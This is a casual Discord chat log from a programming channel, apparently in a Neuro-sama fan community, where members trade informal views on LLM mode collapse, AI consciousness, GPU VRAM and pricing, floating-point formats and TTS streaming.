programming

[knotty obsidian]

Hey can I ask something ?

[mossy fossil]

soryuken

[knotty obsidian]

So, what's the password to the creepy website in Station.exe ?

[faint sandal]

[stray dragon]

what

[rigid snow]

[jagged turtle]

+1 schizo in chat?

[amber fractal]

nah, same amount. n + 1 = n due to float stuff

[jagged turtle]

definitely mhm

[burnt oasis]

Password is "Stick7"

[faint sandal]

[burnt oasis]

Ref to minecraft HC marathon

[olive sable]

exam was hard

[nocturne olive]

Sily

Usually they're really easy

[little path]

guys what do y'all think about the RAM shortage

[sage crag]

dentge

[nocturne olive]

Hem

[nocturne olive]

OpenAI must bankrupt

[sage crag]

that like saying "questions in general are usually super easy"

broad statement that actually only apply situationally

for example, if you dont apply yourself

[unkempt citrus]

questions are easy tho

[sage crag]

solve the riemann hypothesis right now

[unkempt citrus]

I don't fucking know how to do that

[hard delta]

it sucks but so does anything else most of the time

i except to see such global scale oopsies more often

[fervent jolt]

what? its not real. neuro ate all of them

[hard delta]

oh shi-

[olive sable]

@amber fractal increase yuri by 12%

[olive sable]

Where do i click apply?

[burnt oasis]

Got 64 gigs pc before all that and fine for gaming.

Might be a bit low if i wanna dive into building my own ai, but we'll see

[sage crag]

add

[fleet jungle]

jarvis, increase silliness by 14%

[maiden geyser]

this will have a huge impact on the trout population in Djibouti

[olive sable]

the plan was already to potentailly add some yuri depending on where the script goes

[tight tinsel]

cant afford laptop for school, friend cant afford his pc, cant even upgrade my second pc

[frozen hollow]

I was actually curious as to how neuron’s responses are apparently showing something like mode collapse - there’s a weird system at the back of this

[fleet jungle]

You're talking to the worst person for this topic man. I know nothing about the inner workings of LLMs.

[frozen hollow]

I think the weird part is it’s not necessarily an inner working cause there’s stuff basically bolted onto one

[native flower]

I just didn't buying everything what I don't need my entire life, and now I have laptop and strong computer
Strategy not for all, but it worked.

[fleet jungle]

That's an interesting topic. I just looked up what mode collapse is and if I'm not wrong, it's where the LLM falls into this apparently catatonic state where it loops over what it says, right?

[frozen hollow]

It’s where the LLM ends up falling into a few specific patterns.. like vedal was saying how she hammers into philosophy or shitposting instead of a more even spread

[fleet jungle]

ohh

[frozen hollow]

She getting stuck in her ways

[orchid crest]

howdy world

[fleet jungle]

I was thinking about a smaller frame like just two or three words repeated endlessly, but that is one direction it goes, too.

[orchid crest]

FUMOS!!!

[orchid crest]

with what was Nero train with?

I think it was a public database no?

[mighty bane]

GIB COPy plzplzpzl (I AM #1 BEST QA TESTER EU)

[frozen hollow]

I can only speculate that she is a low-rank adaptation of an open weight model using a curated data set like chat logs of a type of person — but I really am guessing here. There’s also a memory system behind it which seems to be pretty uniquely effective

Fine tuning and lora are bad at introducing new knowledge (like other streamers’ names) so that memory system must be doing some crazy good work if it’s done that way

But like if there was training on her Detroit become human logs maybe that’s why she reaches for the topic more now?

[silent cloak]

I mean she used to really confuse names

She reads the discord names of who's talking to her in the call too

[frozen hollow]

Lots of little systems coming together

[silent cloak]

Yeah and he has brought up fine tuning in the past

Could have shifted methods since as he was looking at others (im talking 2023)

[frozen hollow]

Consider that with the success some of the higher tier methods might become viable

[silent cloak]

Especially considering internally she is kind of a monolith with a lot of legacy

(Still Airis internally in some areas)

[frozen hollow]

I was looking into diarisation recently (determining the speaker in transcription)

[silent cloak]

Yeah I see stuff like that used for smart home devices like Google home

I haven't looked into it for ages though

[frozen hollow]

Ah yeah I am using it for meeting transcripts but also rn I use nvidia parakeet to to voice to text and it has zero filter so it will pick up TV speech etc and put it through

[fleet jungle]

I'm wondering if its possible for a language model to both train and infer at the same time

Would be cool to see

[silent cloak]

I used to have to use Azure to do that for production use

[frozen hollow]

That’s the big money question of how to do this

[silent cloak]

Current LLMs are REALLY bad

Spiking Neural Networks are the best current alternative for actual neural plasticity

[fleet jungle]

Hmm

[frozen hollow]

my typing WPM can be like 100 in english prose but this is usually less stress lol thanks nVidia

different mode of thinking as well IMO between writing out stuff and verbalising

[burnt oasis]

https://tenor.com/view/pixy-yo-buddy-ace-combat-zero-still-alive-gif-16127285

Fellow AC0 enjoyer?

[quick condor]

Ram shortage?

[quick condor]

Yah, If you look at the clip of evil with the location bug, it's clear at the beginning Vedal was significantly more concerned before he started digging into it. You could kinda hear him relax as he diagnosed it as something else

[prime portal]

Hii programming channel
How do you declare

?

[stray dragon]

that's drain, he doesn't matter

[fleet jungle]

Yeah if that had happened, and Vedal wasn't keeping a log of the chats (unlikely), that situation would have been unsolveable.

[quick condor]

If I'm correct with what base model he's using, philosophy is a pretty heavy weight in the base model so any tuning towards it would cause it to heavily stick

[fleet jungle]

But with LLMs that I've been able to try on lm studio, if you just edit the text after they've said it, the LLM carries on as though that's what it originally said. Meaning that if an LLM gets stuck in a loop, you just go back to where it first started, and delete the message from there.

[shut sand]

yo wassup #programming I heard there were recent untruthful and very misleading going on about me

[quick condor]

A good memory system (rag + vector DB) does a huge amount of heavy lifting

[shut sand]

glorpTrude

[tight tinsel]

what do you even mean with this sentence i had a stroke reading this

unfortunetly unless a advance in battery technology allows me to pack at least twice the amount of power in the same space my current laptop with a battery life of 2 hours will not cut it for school

[stray dragon]

there's no places to charge it in class?

[sterile dirge]

i heard someone was making a swarm dedicated website that somewhat resembles pinterest here and already made a repo?

[tight tinsel]

its most likely smt like a lecture hall im guessing

[quick condor]

If that's the problem, it can be solved by modifying context (chat history) while feeding good context. The thing is usually that presents as a repeated phrase not a single word. The incoherence would trigger the gut worry of model collapse in pretty much anyone doing fine tuning

[stray dragon]

the ones i've been in always have outlets

they might be inconvenient but they are there

[fleet jungle]

hmm then I'm not too sure I've seen a real instance of a model collapse, just the looping behaviour I described earlier

[fleet jungle]

Oh that

[tight tinsel]

there probably is but i havent toured the school yet so i would rather be safe than sorry

[fleet jungle]

Gemini does that A LOT

[tight tinsel]

i can try to get a battery upgrade but its nothing significant

[frozen hollow]

I’m a creep. I’m a weirdo. What the hell am I doing here? I don’t belong here.

[quick condor]

Basically what happens with model collapse is specific words or "tokens" end up being overweighted causing them to be selected incorrectly. This is hard if not impossible to recover from and usually requires returning to the base model and returning

[stray dragon]

you could get a power bank maybe

[fleet jungle]

Sheesh

[stray dragon]

probably better value than upgrading the battery directly

[tight tinsel]

yeah good idea ill look into that

[nocturne olive]

An LLM is just autocomplete, so of course it does that

[fleet jungle]

Yep.

That experience completely destroys any (de)illusion that chatGPT/Gemini/Grok/Claude/what-have-you can have any consciousness

[quick condor]

Well autocomplete is more like an llm with like 20-30 tokens context

[nocturne olive]

An LLM is autocomplete but big

Now it's accurate

[fiery anchor]

Hm i wonder if a visual metaphor for training an ai would be trying to build a house on a mountain peak as pointy as a needle, stacking floor above floor, growing wider and higher. using the model could be letting it rain and watching how the water flows

[quick condor]

Auto complete doesn't have tool calls, multiple layers of decision making, decode or encode

[stray dragon]

i don't understand your metaphor

[visual pawn]

I prefer to use an extremely simple example for a neural network, like OCR with 10 possible outputs being 0-9, then the input being a 50x50 image or something

and you can visualize the network from each input pixel to the 10 outputs

[frozen hollow]

That’s the example given from like 1970

[visual pawn]

and then describe it as like, a waterfall where the water falls through holes in multiple layers

[fiery anchor]

inverted house of cards

[stray dragon]

that just wouldn't work

[visual pawn]

yeah but I find it easier to give someone an idea of a neural network that way first

[frozen hollow]

I don’t see why you shouldn’t use that example lol I just mean it’s a classic

[visual pawn]

before actually talking about any specific architectures

often times people just want some vague understanding rather than like, how does Transformers or an RNN work or etc.

[quick condor]

I'd say it's a probability machine where different pegs are slightly adjusted and each token is selected based off the highest pillar

[fiery anchor]

a skyscraper on top of a mountain wouldn't really work either. Wasn't meant to be realistic, more abstract.

[visual pawn]

I was gonna say that someone might come away with a less deterministic image of it than it really is that way, but I suppose it doesn't really matter

[frozen hollow]

Why pachinko is a scam

[quick condor]

Each layer is a model layer the different peg sizes are selected based on the context/prompt tokenizer converts your $ into steel balls and lm head translates the column # to a token

[visual pawn]

and then you take your balls to the shop across the street to exchange for gifts

[quick condor]

You take the balls across the street and exchange for hopefully passable code / an answer / etc

[visual pawn]

or you fucked up and get stuck because you can't convert it out of tensors properly so all you have are balls

[quick condor]

Actually if you take a graphical representation of an ANN it looks a lot like the probability machine

[visual pawn]

actually here's a question, does anyone actually look at the classic box diagram of an NN and use it for actual information?

I always make them for figures in papers but I don't know if I can say I ever actually paid attention to one when reading one

like https://miro.medium.com/v2/resize:fit:1100/format:webp/1*kQtbGWZgi3n35Qojkg8cFw.png

I feel like I'd rather just get a text summary of an architecture

[frozen hollow]

the figure is pleasing

[quick condor]

NGL I mostly just poke at it until I decide if I like it

[visual pawn]

I usually just re-use some old architecture or use one someone else defined

and then write as if it was a profound discovery

although occasionally it gets awkward when someone asks what kind of model it is and I'll say "resnet", then they ask about the next one and I'll say "the same, resnet", and then repeat

for models for entirely unrelated tasks

[midnight sigil]

training is connecting pipes in different directions and orders going downward independently

inferencing is running water down the pipes and see which pipe water comes out

*pipes in the middle might have invisibility

[fiery anchor]

you did just read what i was typing, didn't you.

[midnight sigil]

[fiery anchor]

was about to say, the metaphor was non-technical for training,with emphasis on the risk of total collapse, not a technical one for how a model works.

[quick condor]

I might actually do a write up for my stack at some point, I have most of the documentation

[fleet jungle]

guys I have a better solution

[visual pawn]

"claude opus 4.5, please do a write-up for my stack and also write up all the documentation, thanks"

[fiery anchor]

Cheesecake?

[silent cloak]

hey i didnt have many options

it was the same era i was researching machine learning tech for LLMs too

[fleet jungle]

we just show them this ```python
if condition_1:
if another_condition_1:
if another_inner_condition_1:
say("lol.")

[visual pawn]

I will say that while I do not think a current day LLM is conscious, I'm not so sure about saying that behaviour like this means it's impossible

[fleet jungle]

except its 100 ifs rather than 3

[visual pawn]

given that our human brains have some pretty silly ways to break and make us act like robots

[fleet jungle]

hmmm true

[visual pawn]

we get looping behaviour with true memory loss

like, actual exact looping

[fleet jungle]

There are moments where I think about how a certain LLM behaves, and it seems a little like how a human might

[quick condor]

I have my documentation set up so opus can go through an index to find the correct module documentation because it maxes out context reading it

[visual pawn]

and we have hallucinations when our brains think they're getting visual signal when they are not, and we seemingly believe the hallucinations

[fleet jungle]

For example the twins whenever they come across a bug (bad programming) that prevents them from acting how they're supposed to in a game and they're pushed by chat/vedal to do the right thing but it simply doesn't happen, then they just go into what seems like a meltdown.

[visual pawn]

the difficult part is that they also would've learned that that's what humans do when faced with a bug they can't resolve

but I guess we also behave in ways we observed so, this just goes down the unanswerable AI consciousness debate again

[midnight sigil]

I don't think a human construct a sentence based on past(short-term, contextual) tokens(or words as major tokenizers use it as tokens)

[fleet jungle]

Expressed it here

[frozen hollow]

lol it’s not even answerable for humans

[fiery anchor]

wasn't there a study a few years back that looked into conscious decision and explored the possibility that our brain decides the next action taken before "we" do? Isn't that similar to a LLM showing signs of conscious behaviour?

[fleet jungle]

why'd that go through twice

wth it actually went through twice

[visual pawn]

just gotta solve the simple problem of proving that others experience qualia, no biggie

[quick condor]

When they get into a rejection loop, their context is flooded with their rejections. This causes them to double/triple down

[visual pawn]

I think it was the same set of studies that suggested that we don't really have free will so much as free won't

[fiery anchor]

foggy memories but yeah something like that

[visual pawn]

it's okay I know the truth, everyone else is a mimic of consciosuness and I am the only true conscious being

[fleet jungle]

I guess

Or maybe to the human brain, language is so primitive and simple that it happens without us knowing

[visual pawn]

I remember giving myself nightmares as a kid because I realized I couldn't prove my family were conscious

[fleet jungle]

similarly how LLMs don't necessarily know the exact values of their own weights

[visual pawn]

well, we could probably derive something interesting from observing humans who never learned language

but that presents a few ethical issues

[fleet jungle]

lol yea

[visual pawn]

and the few cases studies we know were kinda wrapped up in all sorts of other trauma

[fleet jungle]

I thought about that a couple of times, in contexts completely unrelated to AI/NNs, but yea its always a curiousity

What happens to a baby grown up in a complete social vacuum?

Then I realized how cruel that would be

[visual pawn]

there were experiments done with the few case studies where that happened

but the kids were a product of extreme abuse

there are also examples of deaf and mute kids in the past though

[fleet jungle]

I think the only case that can work is maybe someone who is deaf, blind, and cannot sense anything through their skin, through birth defects or through some kind of trauma very early that wasn't cause by humans

[visual pawn]

and at least some ended up developing their own language spontaneously

[quick condor]

The best way I explain what current tech is capable of is via a special token <unk> it's not consciousness in the sense that we have but it's also not really explainable with current understanding. In a model the <unk> token is used when the numerical output doesn't match any valid outputs. By using this token it prevents the output from crashing

[visual pawn]

but then other cases did not seem to exhibit any ability for language, and iirc they struggled with some basic mental concepts

[midnight sigil]

humans cannot survive without grouping together, it's natural/and easier to form a civilization with a proper language system(before spoken language, it was gesture and drawings), to past on knowledge. Language isn't borne when apes are borne

[fleet jungle]

Ooh interesting

[fiery anchor]

Maybe you could draw some parallels between Social Isolation studies and Model collapse.

[visual pawn]

yeah, it's why I'm only ever super comfortable saying that a current day NN doesn't work quite like how our brains work, but I'll throw in a qualifying "probably" when talking about consciousness in general

[fleet jungle]

Yeah, that's true. Guess my assumption is wrong

[rough bloom]

at least LLMs use softmax though, it will always find some "most similar" token (even ignoring sampling), there's practically never an exact match

[midnight sigil]

consider the civilians on North Sentinel Island, they don't have a proper spoken language system, but are still able to communicate via short combinations of deep roaring, and that's when a spoken language was going to form(in maybe few hundred years)

[quick condor]

The reason my stack is built as modules that interconnect is that each small piece of it is much easier to understand. No one piece of you makes you who you are, it's the collection of everything that does. With each new piece it gets closer but I don't think it will be ever "perfect" because we don't know everything that goes into what makes up an individual

[visual pawn]

I don't work with LLMs really but I also tend to prefer the "stack of models" approach, although I think the "big giant model doesn it all" approach is getting more attention atm

[quick condor]

The point is that <unk> is sometimes better than selecting the closest "best" Mach is still wildly wrong. We want to label everything but sometimes there isn't a good label

[fleet jungle]

Realistically I think this will be the most effective method (multiple, smaller models working in tandem), perhaps with a main core model that effects the smaller ones.

[midnight sigil]

an easier way to think of this:
Those tribal societies(before prehistoric) that could not form a proper comunication system, cannot pass on their knowledge and went extinct.

[visual pawn]

professionally, I argue that it helps in trust if we can verify the output of each model

and get a better idea of what is actually going on

I guess personally I believe that too

[fleet jungle]

My idea of an advanced system would be an overseer model that receives sensory data from sensing/processing models, and responds using output/action models, but they can't be interfacing using LLM methods. It does so depending on criteria, too, like an emotions module or a goals module (though Idk if humans have such a thing so maybe no point in that).

[quick condor]

I have done some personality/moral reasoning tests on my stack. When I fed the results to gpt/claude/Grok, they all estimated they came from a 400-675b model.
Thing is it's actually several models that have 56b total (not unique) perameters

[visual pawn]

have you tried feeding some control model outputs too

to confirm that they're saying anything that meant anything though?

[quick condor]

The thing they pointed out was that the results weren't normal for a model

[rough bloom]

apparently it's purely for inputs (as in, to work around tokenizer limitations), not for outputs
which makes a lot more sense, since outputting unk would be strictly worse than literally any normal token in all cases

[quick condor]

Outputting unk is usually treated as nothing

[rough bloom]

ye, so no reason to ever output it

[quick condor]

You can't output nothing without the option to do so

Either you output something or the output stream crashes

[rough bloom]

just output eos then

[quick condor]

But the rest of the output may be valid

[rough bloom]

then it can also just output something valid in place of unk

[quick condor]

Say I didn't have a token for the, which is better:

1. But the rest of output may be valid
2. But the rest of ith output may be valid

[rough bloom]

either is fine
though if you train the model with the token "the" removed everywhere then it should output the first one (without an unk)

(ignoring the other "the" ofc, since it violates the premise of not having that token)

[quick condor]

The key is though that the output it gives doesn't closely match any output tokens, if it guesses something too far from the output, you will get an invalid token

[quick condor]

Actually this makes the argument stronger as it means the model generated an output that didn't properly align with the

A better way to put it would be that the output didn't match "the" properly

[long barn]

okay guys I've been programming for 2 seconds here's what I got

h

[rustic pike]

question i'm trying to build a "memory manager" that would work with external ai but i can't get a good idea of what's the best way. context: I'm trying to use an llm to filter its own memory, so using prompts sent to it, I give it types or categories of information and he responds with categories of information useful for answering a given question then using that to send it back to the llm so that it can give the user a accurate answer, then send his answer and question back to the llm to pick out interesting information, giving each data a importance level, then storing that under a category (also given by the llm) and using that info for future prompts, problem is well its very heavy process so slow, and might not be very accurate depending on how powerful the llm is since i'm not training it in a sens just giving it a memory base

i can't write damn XD

it's on c# btw

[sick owl]

Upscaling really has come a long way huh

Obviously you should never use upscaling this extreme

But its crazy regardless just how markedly better the current 4.5 models are

[empty rivet]

true

[sick owl]

Just a shame they're only practical on 40 and 50 series cards considering Nvidia wants to send us all back to the 30 series

[quick condor]

Grabbed some more of my 16Gb dimms from my shop, if I decide to sell the 32gb ones

[sick owl]

That's someone's entire pension treat it well

[quick condor]

Worst part is that picture is the downgrade... Unfortunately if I do the downgrade I will no longer be able to build flash attention with 72 threads

[sick owl]

I'd argue this even makes a 4060 a 4k viable card

Or it would if not for VRAM

Thanks Nvidia

[nocturne olive]

VRAM SMOOOOOOLLLLLLLLL

[quick condor]

I am so disconnected from what is needed for gaming...i wolnt touch sub 16gb cards and even then I'm looking at my A4000 and A2 and wishing I went with a third 3090ti and an L4 (my wallet is glad I didn't though)

[warped narwhal]

The highest end games rn require about 12gb to function at high settings.

For a reference point

[sick owl]

Honestly even for gaming I wouldn't touch sub 16GB

You go above that and you have hardware you can potentially use for a decade

Below that and games a few years from now will start refusing to run properly

[frozen hollow]

I doubt

[warped narwhal]

Meh, a lot of people forget that vram caching exists cause windows doesn't explicitly show it, the vast majority of games run fine with 8gb as long as you turn down textures

[sick owl]

12GB already isn't enough for some 1440p games

[warped narwhal]

They will use more if it is available, but they don't require it to function

[frozen hollow]

I just don’t care that much about games perf ngl

I haven’t played any game at 1440 that has refused to run properly

[sick owl]

For now its just edge cases, but give it a few years and 12GB won't be enough

If you plan to use hardware for at least 7 years 16GB is the logical minimum

[warped narwhal]

DCS works at 4k with high settings on my 8gb card, and I don't know any games with worse vram usage than that

[nocturne olive]

I have 12GB on my primary GPU (with 24GB on a secondary card) but I also don't play AAA because expensive games

[sick owl]

Indiana Jones is already a bloodbath for cards with less than 12GB at 1080p

[opaque sigil]

rdr2 recently had my gpu sitting at 14ish gb used

oh yeah indiana jones is rough

[sick owl]

And that's very much a preview of what's to come, I'd say give it 3 years, 5 tops and 12gb will be looked at the way 8gb is now

That is if

The ram shortage doesn't cause devs to cut back on graphics

Which it could

I wouldn't stake a purchase on it though

[frozen hollow]

Wdym could they’ve publically stated it is

[sick owl]

Not that I'd purchase pc hardware atm anyway

[sick owl]

Never take Nvidia at their word

[frozen hollow]

Nvidia?

[nocturne olive]

Considering I heard Nvidia is planning to significantly reduce production of cards with more than 8GB of memory, it's possible game devs will have to set 8GB as a limit for base VRAM usage

[frozen hollow]

Larian studios

[sick owl]

Oh you're talking about the optimisation thing, that's one studio and doesn't necessarily extend to VRAM considerations

Larian isn't the industry and the full impact remains to be seen

By the end of this year we'll have a clearer picture

[sick owl]

Yeah that's what I'm getting at

I wouldn't purchase a GPU banking on that though

[frozen hollow]

?? I’d say Indiana Jones is way less relevant than divinity

Is a tech demo

[sick owl]

Indiana Jones is a far more accurate preview of the direction the industry is headed, one is a first person AAA adventure while the other is a top down RPG where graphics aren't as much of a priority to begin with in resource allocation

[nocturne olive]

If I get a GPU any time soon it'll be from the used market and it'll either have 24 or more GB of VRAM
Anything lower is pointless for me to get at least right now

Though my usecase is model training so that's just me

[sick owl]

There is the obvious productivity argument too yeah

Tbh 24GB feels limiting for me when it comes to ML stuff

My 4090 pales next to a 5090 for inference and training workloads

[nocturne olive]

It's handled all NeuroSynth batch sizes I've thrown at it so far
I ran out of steps to ramp batch size before I ran out of memory for batch size

[sick owl]

Its mainly in the domain of language models where I find it limiting

Given how large they tend to be

[nocturne olive]

Well language models are boring

Vocal synths are where it's at

[sick owl]

Also stuff like training VLA policies

I have to hire vast instances for that since 24GB just doesn't cut it

Its fine for inference but not training

[nocturne olive]

Can an LLM do this? I don't think so

[sick owl]

https://tenor.com/view/robotic-arm-knife-hand-gif-27275730

A synth can't do this though

(Not that I would)

Vocal synths are very cool mind

Imo VLAs are among the coolest areas of ML research rn but I'm not gonna knock any other area, its just generally an exciting arena atm

[opaque sigil]

i like variable length arrays too

[nocturne olive]

This is definitely my favorite NeuroSynth cover so far, it's very much to the point I can listen to this over and over and not notice too much wrong with it

[sick owl]

Damn that's insane

[quick condor]

Yes and no, I have 2 3090tis and an A4000. The cost to performance of a 5090 isn't worth it for 8gb more vram. If you seriously need more than a Blackwell 5000 48gb model is way better ay a similar cost

[sick owl]

True, I just used the 5090 because its a similar consumer targeted card

[nocturne olive]

If just I had money
I would absolutely get those big VRAM GPUs if money wasn't like the most limiting factor of all time

[quick condor]

But if your talking inference/training workload a 3090ti factory referbed is about $30/gb, a 5090 is $93/gb, and a Blackwell 5000 is $83/gb the fact that a workstation card is cheaper is insane

[nocturne olive]

Meanwhile 3090 at 500€ per GPU

[true hemlock]

would rather second hand 6000 ada

more compute

better for training

and even cheaper

[quick condor]

I mean I went expensive on my 3090tis (800 usd/700 euro) but those were factory referbed and I specifically wanted TIs because of the vram (for waterblocks)

[true hemlock]

3090ti uses 2gb modules yeah

less ass to work with compared to 3090

[quick condor]

Honestly at that point if you're just doing training, use a gpu compute provider

[nocturne olive]

And I assume cheaper is relative and they actually cost a stupid amount

[quick condor]

The reason is it's all on one side of the card

[nocturne olive]

Ew cloud compute

[true hemlock]

nah im not training kind of guy

im hpc guy

so i love h100, a100, v100, titan v

more than anything

because fp64 and hbm

V100 32gb hbm2 best deal.

they're cheap now

also the main reason i avoid b300

because they went all in on ai and removed fp64 on that

:(

[nocturne olive]

V100 silly
Apparently slow compute but the VRAM is decent

[quick condor]

Place Im considering working for has racks of H100s, was pushed through to the third interview (3ed and 4th are personally fit)

[true hemlock]

not really slow

[nocturne olive]

Well according to this comparison it's like 3060 Ti level

[sick owl]

Tbh cloud instances just make sense economically speaking for big jobs if you're not expecting to earn money back and aren't handling anything sensitive

[true hemlock]

if you do stuff like simulations or wave computation a v100 is even better than 6000 pro blackwell

[sick owl]

Pay for what you need and scale with hardware gens easily

[true hemlock]

$16.7/gb for my 3090 deal

[quick condor]

If your concerned about security (for company stuff) you can rent dedicated compute under contract with a DC

[true hemlock]

actually technically $6.25/gb

if considering how much i actually ended up paying

[nocturne olive]

Hem? What do you mean CUDA 7.0?

[true hemlock]

wrong

its 3070 level

but its versatile enough, P0 state with proper tuning makes it 3080 level.

[nocturne olive]

I guess this measures something different then

[opaque sigil]

sm_70

[true hemlock]

yeah that tells not much

[nocturne olive]

And what does that mean for running CUDA 12 apps?

[opaque sigil]

nothing, it works just fine

[nocturne olive]

Wa?

How do you run CUDA 12 on CUDA 7?

[opaque sigil]

those are two completely different things

you're thinking of the toolkit

7.0 is the compute capability

[true hemlock]

lmao

that is so funny

[nocturne olive]

Oh I see

[true hemlock]

anyway

imma state it again

b300 is doa

e waste

✌️

[nocturne olive]

So I guess V100 maxes out at CUDA 12.x and 13 is unsupported then?

[warped narwhal]

I don't think it's the vram killing them here I think it's the raytracing

[opaque sigil]

cuda 13 should still support volta iirc

[nocturne olive]

So I guess the Google AI overview must be stupid then

[opaque sigil]

i think it was maxwell (900) that they killed off

might be wrong

[warped narwhal]

9th and 10th gen were killed off iirc

[true hemlock]

no its vram

3080 is still way more capable than 7700xt

just that it only has 10gb

[opaque sigil]

okay i lied cuda 13 does not support sm_70

[true hemlock]

does it even matter

[opaque sigil]

looks like 75 (turing) is the oldest one

idk probably not

[true hemlock]

if you can just select which cuda toolkit to get

[nocturne olive]

It's not like I have anything that needs 13 anyway

[opaque sigil]

most things don't even support cuda 13 so there's that too

[nocturne olive]

My things actually specifically need 12

[true hemlock]

though i damn well know that your things are just neurosynth

so you don't need v100

[nocturne olive]

Yeah I don't think a V100 matches my usecase

I'm not exactly training an FP64 NeuroSynth

[true hemlock]

no one uses fp64 for ml

for the reason that exponent scale seem to matter more than mantissa

[nocturne olive]

Well either way, I have no clue where I'm gonna magically invent some good VRAM with good compute other than more 3090s

[true hemlock]

there's nothing else

its either 3090

4090 or 5090

[quick condor]

I'm completely ampere atm GA102, GA104, GA107

[nocturne olive]

So basically I should just keep stacking 3090s?

[late viper]

Bro 😭

[true hemlock]

you don't even need to stack

considering that 3090 is already enough to give you hundreds of batches

[keen hatch]

The 3090 is still better in terms of price-to-VRAM ratio..

[rough bloom]

RTX 5090 prices are so high that the PRO 6000 Blackwell is also reasonable

[true hemlock]

at that point 4090 is the only reasonable upgrade

[nocturne olive]

True that, at 512 it's still only at like 21GB used at most and I run out of batch ramping steps due to data size before batch size

[true hemlock]

[fiery anchor]

excuse me, i'm great.

[nocturne olive]

Hem?

[true hemlock]

price-to-vram with reasonable compute*

if you want pure price to vram there's P40

[nocturne olive]

Yeah P40 but that has horrible compute

[quick condor]

Pro 5000 is actually cheaper per gb

[true hemlock]

then there's also K80 that you would not even able to boot on most motherboards due to the MMIO requirements

[true hemlock]

but far shittier in compute

[nocturne olive]

So I guess if I need more VRAM for whatever reason the solution is more 3090

[true hemlock]

not necessarily horrible, its still 3060 level. just that it can't do fp16 well.

[nocturne olive]

Sily

FP16 sounds kinda important

[true hemlock]

bf16 objectively better for ml

but objectively shit in nearly anything else

[opaque sigil]

tf32 best format

[fiery anchor]

with GPU compute for personal projects, is it linear meaning more compute only improves performance, or are there stages where you need X to sensibly even start a project with a specific feature set?

i know some models need more ram, but i count that as performance, if there exists a less demanding model with "worse" results.

[true hemlock]

tf32 is worse fp32 imo

[nocturne olive]

What even is TF32 anyway?

[true hemlock]

tensorfloat 32

[opaque sigil]

8bit exponent 10 bit mantissa

[true hemlock]

except its not even 32 bit

[nocturne olive]

Well that's just a scam then

[opaque sigil]

yeah it's 19

great name nvidia

[nocturne olive]

They probably just went "it's more thatn 16 gotta call it 32"

[opaque sigil]

it does take up 32 bits so i guess there's that

some of those bits are just wasted

[true hemlock]

so bloat

lmao

gg, extra currents powering null bits

fp32 to tf32 conversion is literally mantissa rounding

[nocturne olive]

So essentially it's just useless and should use FP32 instead since it's the same amount of memory anyway?

[true hemlock]

bring back fp80

[opaque sigil]

tensor cores don't support fp32 iirc so they're slower

[true hemlock]

[nocturne olive]

That sounds like it'd use a lot of memory

[true hemlock]

fp32 is pretty dense so you literally would have to sacrifice clock per instruction just to make it work

so i guess they stripped off some mantissa

which makes sense in ml since mantissa doesn't matter as much as exponent

[opaque sigil]

[true hemlock]

it exists

iirc it exists in most x86 cpus if not all

[nocturne olive]

And what is it useful for?

[true hemlock]

big ass number

[nocturne olive]

I guess that makes sense

Double++

[true hemlock]

its 10 bytes

[opaque sigil]

they should implement binary128

[true hemlock]

god fucking damn

cooper lake xeons has AVX-512 with bf16

[opaque sigil]

is that even useful now with AMX

[true hemlock]

i dunno

imma say

fp4 is the most useless

nvfp4 is just Q4 quant but with fp4 blocks instead

objectively worse than using int4 blocks

[opaque sigil]

idk i clocked out at fp8

[true hemlock]

fp8 barely even usable

[nocturne olive]

I stick to the trusty FP16

Or BF16

[true hemlock]

fp64 supremacy

[nocturne olive]

I don't have fancy FP64 cards

[opaque sigil]

can't wait for the new r200 with 1:128 fp64

[tawdry glade]

What's a "silent ping"?

[sage crag]

@tawdry glade

[rare bramble]

when fp512

[nocturne olive]

when he gets his hands on that will probably create some kind of black magic

[opaque sigil]

iirc there was at least one cuda library for arbitrary precision floats

[true hemlock]

but also need shit amount of cycles to get it done lmao

[opaque sigil]

yeah but shhhh

[true hemlock]

of course, its not native so makes sense

[opaque sigil]

unnecessary details

blackwell comes with fp128 support huh

TIL

[true hemlock]

also

i find the "5070Ti eol" news funny

[opaque sigil]

wasn't that bs

[true hemlock]

because nvidia themself never mentioned it and it was asus pr mistakenly state something about it

yeah, complete bs

[opaque sigil]

asus

[true hemlock]

tbf

[hard delta]

new battlestation is ready

[true hemlock]

nvidia ship out SKU without the vram now

[tawdry glade]

What was supposed to be silent about that? I got the icon and all

[true hemlock]

so the gb203 is still plenty

but they can't make much 5070Ti because vram constraints

even when they have a lot of the GPU chip supply

[sage crag]

@tawdry glade

[true hemlock]

so asus pr said something along the lines of their models being so scarse its like eol

[opaque sigil]

it just removes the ping sound that's all

[warped narwhal]

@tawdry glade

[sage crag]

that's what i said

[tawdry glade]

What removes it? What do you click? What do you do?

[wary mauve]

anyone looked into tts streaming and have any good library recommendations?

was using realtimetts however there's no asyncio support so its kind of aids to work with regarding asyncio shit,

basically my main goal is

As LLM chunks come in from streaming request, I send these "chunks" off to some TTSModule, in which this TTSModule has chunks of text coming in, and can give it to a tts engine in realtime and it plays as it keeps receiving data and once it completes it fires some sort of callback or something

I would start wiritng my own but thats gonna take some decent time away from my project and not really looking forward to doing so

[warped narwhal]

add @silent to the start of the message, if it isn't blue, it isn't silent

[warped narwhal]

TTS is by its nature contextual, so I'm not sure how good of a result you'd get even if it was streamed

how one word sounds changes depending on what comes before and after it, so you'd only really be able to create chunks on sentence and paragraph boundaries

[wary mauve]

Yeah, I understand it would reduce quality, but it seems to be okay from what ive tried with my previous iteration (using realtimetts), but yeah it would certainly improve by having multiple word / sentences

issue is im trying to reduce latency between you stopping talking -> getting a response from an llm in tts form

[quick condor]

I run piper, stream to a buffer from the llm, and at the end of a sentence I push the batch to tts. I then queue up additional buffers in order of creation as the model outputs the info

[wary mauve]

you got any clips of what it sounds like? but yeah this seems to be the only feasible "decent" way

if I could get a full response back from an LLM in decent time, from the cloud as i cant run it locally, id be happy

but as it stands streaming seems to be better either way, local or not

[quick condor]

I dont have anything saved, depends on the voice library and settings

[wary mauve]

So basically

LLM -> chunk -> tts text buffer -> constantly check said buffer to see if we've made a full sentence -> if we have throw it to a queue -> queue is constantly checked for stuff to process -> processes it

[quick condor]

yup or just is of a sufficient length/end of response. You can cut the delay down significantly In my case tts fires about 1-2s after first token and usually ends after complete output finishes

[sick owl]

NVFP4 is pretty cool ngl

But its true that its not exactly easy to work with

[rigid snow]

https://astro.build/blog/joining-cloudflare/

what’s with these acquisitions lately

[warped narwhal]

Tech feudalism

[sage crag]

cloudflare simply want

a few monopoly

is that okay

cant a girl have some monopolies over markets

god forbid a woman do anything

